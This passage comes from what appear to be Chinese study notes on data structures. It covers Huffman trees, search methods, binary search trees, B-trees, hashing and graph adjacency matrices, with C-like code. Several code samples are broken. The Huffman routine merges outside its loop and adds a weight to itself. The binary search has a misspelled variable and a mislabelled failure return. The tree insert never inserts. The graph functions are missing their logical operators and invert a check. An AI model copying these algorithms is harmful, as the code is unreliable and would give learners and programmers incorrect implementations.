title="哈夫曼树和哈夫曼编码"></a>哈夫曼树和哈夫曼编码</h3><ul><li>哈夫曼树是最小加权路径长度的扩充二叉树</li><li>分支节点权值$=$左孩子权值$+$右孩子权值</li></ul><p>实现方法</p><ol><li>选取最小的两个值</li><li>求和形成新的值,并与剩下的最小的求和</li></ol><p>代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">BinaryTree CreateHFMTree(int w[], int m)</span><br><span class="line">{</span><br><span class="line"> BinaryTree x,y,z; // 二叉树变量</span><br><span class="line"> Create(PQ,m); // 初始化优先权队列PQ, 优先权存在根结点数据域</span><br><span class="line"> for(int i=0 ; i<m ; i++)</span><br><span class="line"> {</span><br><span class="line"> MakeTree(x,w[i],NULL,NULL); // 创建仅包含根结点二叉树,权值w[i]存入根结点</span><br><span class="line"> Append(PQ,x); // 将二叉树x插入优先权队列</span><br><span class="line"> }</span><br><span class="line"> while(PQ.n > 1)</span><br><span class="line"> {</span><br><span class="line"> Serve(PQ,x); // 从PQ中取出根结点权值最小的二叉树,存入x</span><br><span class="line"> Serve(PQ,y); // 从PQ中取出根结点权值最小的二叉树,存入y</span><br><span class="line"> }</span><br><span class="line"> //合并二叉树x,y</span><br><span class="line"> if(x.root.element < y.root.element) // 左子树结点权值小于右子树</span><br><span class="line"> MakeTree(z, x.root.element+x.root.element, x, y);</span><br><span class="line"> else</span><br><span class="line"> MakeTree(z, x.root.element+x.root.element, y, x);</span><br><span class="line"> Append(PQ, z); // 新合成新二叉树z插入优先权队列</span><br><span class="line">Serve(PQ, x); // 获取优先权队列唯一二叉树,存入x,该二叉树即哈夫曼树</span><br><span class="line">return x;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>哈夫曼编码</p><ul><li>左0右1</li></ul><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242308595.png"></p><h2 id="集合和搜索"><a href="#集合和搜索" class="headerlink" title="集合和搜索"></a>集合和搜索</h2><h3 id="集合"><a href="#集合" class="headerlink" title="集合"></a>集合</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">typedef struct</span><br><span class="line">{</span><br><span class="line"> int n;</span><br><span class="line"> int maxLength;</span><br><span class="line"> ElemType *element;</span><br><span class="line">}ListSet;</span><br></pre></td></tr></table></figure><h3 id="顺序搜索"><a href="#顺序搜索" class="headerlink" title="顺序搜索"></a>顺序搜索</h3><p>无序表</p><ol><li>从头开始检查,将指定元素$x$与关键字比较</li><li>若相等搜索成功</li><li>若搜索完整个表,不存在,则搜索失败</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">int SeqSearch(ListSet L, ElemType x)</span><br><span class="line">{</span><br><span class="line"> int i;</span><br><span class="line"> for(i=0 ; i < L.n ; i++)</span><br><span class="line"> if(L.element[i] == x)</span><br><span class="line"> return i; // 搜索成功</span><br><span class="line"> return -1; // 搜索失败</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>有序表</p><ul><li>关键字值满足$key_i{\leq}key_{i+1}$</li><li>$key_i$表示$a_i$的关键字</li></ul><p>步骤</p><ol><li>从头开始检查,将指定元素$x$与关键字比较</li><li>若相等搜索成功</li><li>若某个元素关键字大于指定元素$x$,则搜索失败</li></ol><p>无哨兵</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int SeqSearch(ListSet L, ElemType x){ int i; for(i=0 ; i < L.n ; i++) { if(L.element[i] == x) return i; // 搜索成功 else if(L.element[i] > x) return -1; // 搜索失败 } return -1; // 搜索失败}</span><br></pre></td></tr></table></figure><p>有哨兵</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int SeqSearch(ListSet L, ElemType x){ int i; L.element[L.n] = MaxNum; // MaxNum正无穷 for(i=0 ; L.element[i] < x ; i++) if(L.element[i] == x) return i; // 搜索成功 return -1; // 搜索失败}</span><br></pre></td></tr></table></figure><h3 id="对半搜索"><a href="#对半搜索" class="headerlink" title="对半搜索"></a>对半搜索</h3><p>有序表$$(a_0,a_1,a_2,……,a_{n-1})$$</p><ul><li>有序表长$L\leq{0}$,搜索失败</li><li>有序表长$L{\geq}0$,取某个元素$a_{m}$与$x$比较$m=\dfrac{low+high}{2}$,$low=0,high=n-1$<ul><li>$a_m.key = x.key$,搜索成功</li><li>$a_m.key>x.key$,二分搜索$(a_0,a_1,a_2,…,a_{m-1})$</li><li>$a_m.key<x.key$,二分搜索$(a_{m+1},a_{m+2},…,a_{n-1})$</li></ul></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">//递归</span><br><span class="line">int BinSearch(ListSet L, ElemType x, int low, int high)</span><br><span class="line">{</span><br><span class="line"> if(low <= high)</span><br><span class="line"> {</span><br><span class="line"> int m = (low+high) / 2; // 对半分割</span><br><span class="line"> if(x < L.element[m])</span><br><span class="line"> return BinSearch(L,x,low,m-1);</span><br><span class="line"> else if(x > L.element[m])</span><br><span class="line"> return BinSearch(L,x,m+1,high);</span><br><span class="line"> else</span><br><span class="line"> return m; // 搜索成功</span><br><span class="line"> }</span><br><span class="line"> return -1; // 搜索成功</span><br><span class="line">}</span><br><span class="line">//迭代</span><br><span class="line">int BinSearch(ListSet L, ElemType x)</span><br><span class="line">{</span><br><span class="line"> int m,kow = 0;high = L.n-1;</span><br><span class="line"> while(low <= high)</span><br><span class="line"> {</span><br><span class="line"> m = (low+high)/2; // 对半分割</span><br><span class="line"> if(x < L.element[m])</span><br><span class="line"> high = m-1;</span><br><span class="line"> else if(x > L.element[m])</span><br><span class="line"> low = m+1;</span><br><span class="line"> else</span><br><span class="line"> return m;</span><br><span class="line"> }</span><br><span class="line"> return -1;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="搜索长度"><a href="#搜索长度" class="headerlink" title="搜索长度"></a>搜索长度</h3><p>搜索成功</p><p>搜索失败</p><p><strong>无序表顺序搜索</strong></p><p>$$\dfrac{n+1}{2}$$</p><p>$$n$$</p><p><strong>有序表顺序搜索</strong></p><p>$$\dfrac{n+1}{2}$$</p><p>$$2+{\dfrac{n}{2}}$$</p><p><strong>对半搜索</strong></p><p>$$S_{success}=\dfrac{2^n(n-1)+k(n+1)+1}{N}$$ $$N=2^n-1+k$$</p><p>$$S_{fail}=\dfrac{n2^n+(n+2)k}{2^n+k}$$</p><h2 id="搜索树"><a href="#搜索树" class="headerlink" title="搜索树"></a>搜索树</h2><h3 id="二叉搜索树"><a href="#二叉搜索树" class="headerlink" title="二叉搜索树"></a>二叉搜索树</h3><ul><li>左子树小于根结点</li><li>右子树大于根结点</li><li>若以<strong>中序遍历</strong>二叉搜索树,将得到递增有序序列</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">//定义集合项</span><br><span class="line">typedef struct entry</span><br><span class="line">{</span><br><span class="line"> KeyType Key;</span><br><span class="line"> DataType Data;</span><br><span class="line">}T</span><br><span class="line">//定义结点</span><br><span class="line">typedef struct btnode</span><br><span class="line">{</span><br><span class="line"> T Element;</span><br><span class="line"> struct btnode *lChild, *rChild;</span><br><span class="line">}BTNode;</span><br><span class="line">//定义搜索树</span><br><span class="line">typedef struct btree</span><br><span class="line">{</span><br><span class="line"> BTNode *root;</span><br><span class="line">}BTree;</span><br></pre></td></tr></table></figure><p>查找关键字$x$</p><ol><li>二叉树为空,搜索失败</li><li>将$x$与根结点比较<ul><li>$k$小于该结点,搜索左子树</li><li>$k$大于该结点,搜索右子树</li><li>$k$等于该结点,搜索成功</li></ul></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">//递归</span><br><span class="line">BTNode *Find(BTNode *p,KeyType k)</span><br><span class="line">{</span><br><span class="line"> if(!p)</span><br><span class="line"> return NULL; // 搜索失败</span><br><span class="line"> if(k == p->element.key)</span><br><span class="line"> return p; // 搜索成功</span><br><span class="line"> if(k < p->element.key)</span><br><span class="line"> return Find(p->lChild,k);</span><br><span class="line"> return Find(p->rChild,k);</span><br><span class="line">}</span><br><span class="line">BOOL BtSearch(BTree Bt,KeyType k,T *x)</span><br><span class="line">{</span><br><span class="line"> BTNode *p = Find(Bt.root,k);</span><br><span class="line"> if(p)</span><br><span class="line"> {</span><br><span class="line"> *x = p->element;</span><br><span class="line"> return TRUE;</span><br><span class="line"> }</span><br><span class="line"> return FALSE;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">//迭代</span><br><span class="line">BOOL BtSearch(Btree Bt,KeyType k,T *x)</span><br><span class="line">{</span><br><span class="line"> BTNode *p = Bt.Root; // 从根结点出发</span><br><span class="line"> while(p)</span><br><span class="line"> {</span><br><span class="line"> if(k < p->element.key) // 从左分支继续向下搜索</span><br><span class="line"> p = p->lChild;</span><br><span class="line"> else if(k > p->element.key) // 从右分支继续向下搜索</span><br><span class="line"> p = p->rChild;</span><br><span class="line"> else</span><br><span class="line"> {</span><br><span class="line"> *x = p->element; // 搜索成功</span><br><span class="line"> return TRUE;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> return FALSE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>插入</p><ul><li>向下搜索$x$</li><li>搜索失败处插入$x$</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">BOOL Insert(Btree *bt, T x){ BTNode *p = bt->root, *q, *r; // p:从根节点向下搜索 q:记录搜索失败上一层结点 KeyType k = x.key; while(p) { q = p; if(k < p->element.key) p = p->lChild; else if(k > p->element.key) p = p->rChild; else return FALSE; }}</span><br></pre></td></tr></table></figure><p>删除叶子结点</p><p><code>直接删</code></p><ol><li>将待删除结点双亲结点指向NULL</li><li>释放待删除结点</li></ol><p>删除有一个孩子结点</p><p><code>爷带孙</code></p><ol><li>待删除结点的双亲结点指向待删除结点的孩子</li><li>释放待删除结点</li></ol><p>删除有两个孩子结点</p><ol><li>从后代选择一个覆盖待删除结点<ul><li>保持二叉搜索树有序性==左孩子$\leq$代替这$\leq$右孩子==</li><li>容易删除==只有一个孩子或没有孩子==</li></ul></li><li>删除重复的代替者</li></ol><h3 id="二叉平衡树"><a href="#二叉平衡树" class="headerlink" title="二叉平衡树"></a>二叉平衡树</h3><ul><li>二叉搜索树</li><li>左右子树高度$h’\leq{1}$</li><li>左右子树都是二叉平衡树</li></ul><p><img src="https://img-blog.csdnimg.cn/20200824193318941.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="二叉平衡树"></p><ul><li>平衡因子——左子树与右子树高度差$h_{left}-h_{right}$</li></ul><p>二叉平衡树插入</p><ul><li>先按照普通二叉搜索树插入</li><li>若不平衡,则进行调整<ul><li>先找到平衡因子超过$1$的根结点$s$<ol><li>$LL/RR$类型——单旋转新结点插入$s$的左/右结点<img src="https://img-blog.csdnimg.cn/20200824194953180.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="单旋转"></li><li>$LR/RL$类型——双旋转<img src="https://img-blog.csdnimg.cn/20200824195459362.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="双旋转"></li></ol></li></ul></li></ul><h3 id="m叉搜索树"><a href="#m叉搜索树" class="headerlink" title="m叉搜索树"></a>m叉搜索树</h3><p><img src="https://img-blog.csdnimg.cn/20200824222242470.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="四叉搜索树"></p><ul><li>空树——失败结点</li><li>==失败结点不是叶子节点==</li><li>根结点最多$m$棵子树<img src="https://img-blog.csdnimg.cn/20200824222526959.png#pic_center" alt="m阶搜索树结构"><ul><li>$k_i$是元素关键字</li><li>$P_i$是指向子树的指针</li><li>$n$为该结点元素个数,$1{\leq}n{\leq}m$</li></ul></li><li>子树$P_i$所有关键字大于$K_i$,小于$K_{i+1}$</li><li>子树$P_0$所有关键字值小于$K_1$子树$P_n$上所有关键字大于$K_n$</li><li>子树$P_i(0{\leq}i{\leq}n)$也是$m$叉二叉树</li><li><strong>结点最多存放_m-1_个元素和_m_个指针</strong></li><li><strong>结点里元素个数比包含指针少$1$</strong></li></ul><p>性质</p><ol><li>高度为$h$的$m$二叉树最多$m^h-1$个元素高度为$h$的$m$二叉树最多$\dfrac{m^h-1}{m-1}$个结点</li><li>含有$N$个元素的$m$叉搜索树高度$h$满足$h{\leq}log_m(N+1)$</li></ol><h3 id="B-树"><a href="#B-树" class="headerlink" title="B-树"></a>B-树</h3><ul><li>或者为<strong>空树</strong></li><li>或满足$m$叉搜索树<ul><li>根结点<strong>至少两个</strong>孩子==可以只有一个元素==</li><li>除根结点和失败结点所有结点**至少$\dfrac{m}{2}$**个孩子==确保B-树不会退化为单支树==</li><li>所有失败结点在同一层==考虑平衡性==</li></ul></li></ul><p>判定性质</p><ul><li>一个结点<strong>最多</strong>$m$个孩子,$m-1$个关键字</li><li>除根结点与失败结点每个结点<strong>至少</strong>$\dfrac{m}{2}$个孩子,$\dfrac{m}{2}-1$个关键字</li><li>根结点最少2个孩子</li><li>失败结点均在同一层,失败结点的双亲是叶子结点</li></ul><p>判定方法</p><ol><li>失败结点是否在同一层</li><li>根结点是否至少$2$个孩子</li><li>确定$m$并计算$\dfrac{m}{2}$</li><li>查看除根结点与失败者外所有结点的孩子数量是否少于$\dfrac{m}{2}$</li></ol><p>性质</p><ul><li>$N=s-1$$s$——失败点总数$N$——$B-$树失败点总数</li><li>含有$N$个元素的$m$阶$B-$树高度$h$:$h{\leq}1+log_{\frac{m}{2}}{\dfrac{N+1}{2}}$</li></ul><p>搜索</p><p><img src="https://img-blog.csdnimg.cn/20200827211009950.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="B-树搜索"></p><ol><li>$B-$树中找结点,执行访问磁盘次数最多$log_{\frac{m}{2}}{\dfrac{N+1}{2}}$</li><li>结点中找关键字</li></ol><p>插入</p><p><img src="https://img-blog.csdnimg.cn/20200827211149146.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="B-树插入"></p><p>步骤</p><ol><li>搜索待插入元素若已存在,则插入失败</li><li>插入停留的失败结点的叶子结点中</li><li>将结点分为{$1$<del>${\dfrac{m}{2}-1}$}、{$\dfrac{m}{2}$}、{${\dfrac{m}{2}}$</del>$m$}</li><li>将{$\dfrac{m}{2}$}和其指针插入其双亲结点<ul><li>根结点会向上形成一个新的根结点</li></ul></li></ol><p>删除</p><ol><li>叶子结点直接删除</li><li>否则以其右子树最小元素替换<img src="https://img-blog.csdnimg.cn/20200827212853844.gif#pic_center" alt="B-树删除"></li><li>如发生下溢出,则若其左右兄弟有多于$\dfrac{m}{2}$个元素,则向其接一个元素<img src="https://img-blog.csdnimg.cn/20200827213312946.gif#pic_center" alt="B-树删除(下溢出)"></li><li>没有富余兄弟,与兄弟合并且将两结点之间元素下移<img src="https://img-blog.csdnimg.cn/20200827214242240.gif#pic_center" alt="B-树删除合并"><img src="https://img-blog.csdnimg.cn/20200827214413870.gif#pic_center" alt="B-树删除合并"></li></ol><h2 id="散列表"><a href="#散列表" class="headerlink" title="散列表"></a>散列表</h2><h3 id="散列技术"><a href="#散列技术" class="headerlink" title="散列技术"></a>散列技术</h3><p>散列函数($h,hash$):存储关键字($key$)和存储位置($Loc$)之间关系</p><ul><li>冲突:$key_1{\neq}key_2$,$h(key_1)=h(key_2)$</li><li>同义词:对给定$h$,具有相同散列值不同数字</li></ul><h3 id="常见散列函数"><a href="#常见散列函数" class="headerlink" title="常见散列函数"></a>常见散列函数</h3><p>除留余数法</p><p>$h(key)=key\%M$</p><p>==模值取不超过$M$的素数$P$更好==</p><p>不足</p><ol><li>存在不动点$h(0)=0$,与均分布相悖</li><li>相邻的关键字散列到相邻地址</li></ol><p>除留余数法改进MAD</p><p>$h(key)=(key*a+b)%P$</p><ul><li>$b$作为偏移量,消除了不动点</li><li>$a$作为间隔量,原本相邻地址变成间隔$a$</li></ul><p>平方取中法</p><p>$h(key)=(key)^2$的中间若干位</p><ul><li>位数$k$满足:$10^{k-1}{\leq}n{\leq}10^k$$n$为集合中元素个数</li></ul><p>折叠法</p><ol><li>折叠法自左到右,分为位数相等几部分,每部分位数与散列表地址相同</li><li>将数据叠加</li></ol><h3 id="冲突处理技术"><a href="#冲突处理技术" class="headerlink" title="冲突处理技术"></a>冲突处理技术</h3><ul><li>开散列法存储主表之外</li><li>闭散列法存储主表之内</li></ul><p>拉链法</p><p><img src="https://img-blog.csdnimg.cn/20200828075629109.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="拉链法"></p><p>时间复杂度</p><ul><li>查找:$O(\dfrac{n}{M})$</li><li>插入:$O(\dfrac{n}{M})$</li><li>删除:$O(\dfrac{n}{M})$</li></ul><p>线性探查法</p><ul><li>开放地址法</li></ul><p>解决方式</p><p>$h_i=(h(key)+i)modM$</p><p>聚集问题:线性聚集</p><p>二次探查法</p><ul><li>开放地址法</li></ul><p>解决方式</p><p>$h_{2i-1}=(h(key)+i^2)modM$</p><p>$h_{2i}=(h(key)-i^2)modM$</p><p>聚集问题:二次聚集</p><p>双散列法</p><ul><li>开放地址法</li></ul><p>解决方式</p><p>$H_{i}=(h_1(key)+ih_2(key))modM$</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>冲突处理方法</p><p>解决方式</p><p>开/闭散列法</p><p>冲突问题</p><p>成功搜索长度</p><p>失败搜索长度</p><p>拉链法</p><p>$$/$$</p><p>开散列法</p><p>无</p><p>$$1+\dfrac{\alpha}{2}$$</p><p>$$\alpha+e^{-\alpha}$$</p><p>线性探查法</p><p>$$h_i=(h(key)+i)modM$$</p><p>开放地址法</p><p>线性聚集</p><p>$$\dfrac{1}{2}(1+\dfrac{1}{1-\alpha})$$</p><p>$$\dfrac{1}{2}(1+\dfrac{1}{(1-\alpha)^2})$$</p><p>二次探查法</p><p>$$h{2i-1}=(h(key)+i^2)modM$$ $$h{2i}=(h(key)-i^2)modM$$</p><p>开放地址法</p><p>二次聚集</p><p>$$-\dfrac{1}{\alpha}log_e(1-\alpha)$$</p><p>$$-\dfrac{1}{1-\alpha}$$</p><p>双散列法</p><p>$$H_{i}=(h_1(key)+ih_2(key))modM$$</p><p>开放地址法</p><p>$$/$$</p><p>$$-\dfrac{1}{\alpha}log_e(1-\alpha)$$</p><p>$$-\dfrac{1}{1-\alpha}$$</p><h2 id="图"><a href="#图" class="headerlink" title="图"></a>图</h2><h3 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h3><ul><li>$G=(V,E)$<ul><li>$V$——结点</li><li>$E$——边</li></ul></li><li>$<u,v>$——有向图</li><li>$(u,v)$——无向图</li></ul><h3 id="基本术语"><a href="#基本术语" class="headerlink" title="基本术语"></a>基本术语</h3><ul><li>自回路:图中存在$<u,u>$或$(u,u)$</li><li>多重图:两个顶点间有多条相同的边</li></ul><p><img src="https://img-blog.csdnimg.cn/20200825013921685.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="自回路和多重图"></p><ul><li>完全图:图有最多的边<ul><li>无向完全图:${\dfrac{n(n-1)}{2}}$条边</li><li>有向完全图:$n(n-1)$条边<img src="https://img-blog.csdnimg.cn/20200825014258667.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="完全图"></li></ul></li><li>简单路径:除起始点,路径上其他各点都不相同</li><li>回路:起始点相同的简单路径</li><li>连通图:任两个点之间想通强连通图:最多$n(n-1)$边</li><li>连通分量:无向图极大连通子图<img src="https://img-blog.csdnimg.cn/2020082501510949.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="连通分量"><ul><li>连通分量可能有多个</li><li>若加一个点,仍然连通,则非连通分量</li></ul></li><li>顶点的度:与该顶点相关联的边的数目<ul><li>入度:以$v$为头边的数目</li><li>出度:以$v$为尾边的数目</li></ul></li></ul><h3 id="领接矩阵"><a href="#领接矩阵" class="headerlink" title="领接矩阵"></a>领接矩阵</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line">typedef struct mgraph</span><br><span class="line">{</span><br><span class="line"> ElemType **a;// 动态二维数组,用来存储邻接矩阵</span><br><span class="line"> int n; // 图中顶点数</span><br><span class="line"> int e; // 图中边数</span><br><span class="line"> ElemType noEdge; // 两顶点无边的值</span><br><span class="line">}mGraph;</span><br><span class="line">//初始化</span><br><span class="line">void Init(mGraph *mg, int nSize, ElemType noEdgeValue)</span><br><span class="line">{</span><br><span class="line"> int i,j;</span><br><span class="line"> mg->n = nSize; // 初始化顶点数</span><br><span class="line"> mg->e = 0; // 初始化边数</span><br><span class="line"> mg->noEdge = noEdgeValue; // 初始化无边时的取值</span><br><span class="line"> mg->a = (ElemType**)malloc(nSize*sizeof(ElemType**)); // 数组申请空间</span><br><span class="line"> </span><br><span class="line"> for(i=0; i < mg->n ;i++)</span><br><span class="line"> {</span><br><span class="line"> mg->a[i] = (ElemType*)malloc(nSize*sizeof(ElemType)); // 申请结点空间</span><br><span class="line"> for(j=0 ;j < mg->n ; j++)</span><br><span class="line"> mg->a[i][j] = mg->noEdge;</span><br><span class="line"> mg->a[i][i] = 0; // 回路</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">//销毁</span><br><span class="line">void Destroy(mGraph *mg)</span><br><span class="line">{</span><br><span class="line"> int i;</span><br><span class="line"> for(i=0 ; i < mg->n ; i++)</span><br><span class="line"> free(mg->a[i]); // 依次释放n个一维数组的存储空间</span><br><span class="line"> free(mg->a); // 释放以为指针数组存储空间</span><br><span class="line">}</span><br><span class="line">//搜索</span><br><span class="line">Status Exist(mGraph *mg, int u, int v)</span><br><span class="line">{</span><br><span class="line"> if(u<0 v<0 u > mg->n-1 v > mg->n-1 u==v) // 越界 回路</span><br><span class="line"> return FALSE;</span><br><span class="line"> else if(mg->a[u][v] != mg->noEdge) // 不为不存在的边</span><br><span class="line"> return True;</span><br><span class="line"> return False;</span><br><span class="line">}</span><br><span class="line">//插入</span><br><span class="line">Status Insert(mGraph *mg, int u, int v, ElemType w)</span><br><span class="line">{</span><br><span class="line"> if(u<0 v<0 u > mg->n-1 v > mg->n-1 u==v) // 越界 回路</span><br><span class="line"> return ERROR;</span><br><span class="line"> else if(mg->a[u][v] != mg->noEdge) // 插入边已存在</span><br><span class="line"> return Duplicate;</span><br><span class="line"> else</span><br><span class="line"> mg->a[u][v] = w; // 插入新边</span><br><span class="line"> mg->e++; // 边数+1</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br><span class="line">//删除</span><br><span class="line">Status Remove(mGraph *mg, int u, int v)</span><br><span class="line">{</span><br><span class="line"> if(u<0 v<0 u > mg->n-1 v > mg->n-1 u==v) // 越界 回路</span><br><span class="line"> return ERROR;</span><br><span class="line"> else if(mg->a[u][v] != mg->noEdge) // 删除边不存在</span><br><span class="line"> return NotPresent;</span><br><span class="line"> else</span><br><span class="line"> mg->a[u][v] = mg->noEdge; // 删除边</span><br><span class="line"> mg->e--; // 边数+1</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>优点</p><ol><li>便于判断两个顶点是否有边</li><li>便于计算各个顶点度<ul><li>对于无向图,第$i$行顶点之和即为顶点$i$的度</li><li>对于有向图,第$i$行顶点之和为顶点$i$的出度 第$i$行顶点之和为顶点$i$的入度</li></ul></li></ol><p>缺点</p><ol><li>统计边的数目时间复杂度$O(n^2)$</li><li>空间复杂度$O(n^2)$</li></ol><h3 id="领接表"><a href="#领接表" class="headerlink" title="领接表"></a>领接表</h3><ul><li>用$n$个单链表代替邻接矩阵中的$n$行</li><li>每个顶点对应一个单链表</li></ul><p><img 